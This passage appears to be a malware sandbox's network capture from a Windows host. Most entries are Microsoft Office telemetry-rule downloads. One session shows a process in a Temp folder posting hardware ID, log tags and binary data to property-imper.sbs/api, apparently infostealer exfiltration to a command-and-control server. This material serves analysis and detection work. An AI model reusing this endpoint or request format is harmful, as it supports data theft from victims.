2024-11-23 17:22:24 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:25 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:25 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ecf1de78-401e-0047-5d4b-3c8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172225Z-15b8b599d889gj5whC1TEBfyk000000003400000000051f8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:25 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:26 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:26 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: f47ed088-401e-0029-7f4d-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172226Z-15b8b599d8885prmhC1TEBsnkw000000037g00000000mscn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:27 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:26 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172226Z-174c587ffdf59vqchC1TEByk68000000038g00000000rhpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:26 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172226Z-174c587ffdfldtt2hC1TEBwv9c000000031000000000g14a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49798	172.67.162.84	443	7632	C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:26 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ELYT2XA68545N9BA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20431 Host: property-imper.sbs
2024-11-23 17:22:26 UTC	15331	OUT	Data Raw: 2d 2d 45 4c 59 54 32 58 41 36 38 35 34 35 4e 39 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 45 4c 59 54 32 58 41 36 38 35 34 35 4e 39 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 45 4c 59 54 32 58 41 36 38 35 34 35 4e 39 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --ELYT2XA68545N9BAContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--ELYT2XA68545N9BAContent-Disposition: form-data; name="pid"3--ELYT2XA68545N9BAContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-23 17:22:26 UTC	5100	OUT	Data Raw: 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-11-23 17:22:27 UTC	1019	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=04ilouauautbu6pfhdhdaa0kij; expires=Wed, 19-Mar-2025 11:09:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7q2FtnPFFqk763BJfPcQA6n7MQ6iDmfvHRzMGV2NXJ%2FzKdu5vjvqEDisG%2Beh2cTvEhW8A33oXtXiEDeWgaIQTJBOMuYuhpahl6%2FV6%2B9NdwiLusuirL27NGaFTdQ5waZHxvF3X8I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d765d8ebde98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1514&sent=20&recv=25&lost=0&retrans=1&sent_bytes=4232&recv_bytes=21393&delivery_rate=323044&cwnd=206&unsent_bytes=0&cid=a1b3210c4c40bd7f&ts=1138&x=0"
2024-11-23 17:22:27 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 17:22:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49787	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:26 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:27 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 00deeadb-901e-007b-4a91-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172227Z-15b8b599d88g5tp8hC1TEByx6w000000033000000000mt47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:27 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:27 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:27 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7e801f10-e01e-003c-746c-3dc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172227Z-15b8b599d889gj5whC1TEBfyk0000000032000000000afkc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:28 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:28 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172229Z-174c587ffdfgcs66hC1TEB69cs000000033g00000000a7dx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:28 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:29 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 907655e5-001e-0065-594b-3c0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172229Z-178bfbc474bw8bwphC1NYC38b400000004k000000000e64a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:29 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:28 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 6b91e280-c01e-00a2-4f0a-3d2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172229Z-178bfbc474btrnf9hC1NYCb80g0000000500000000002thx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:29 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
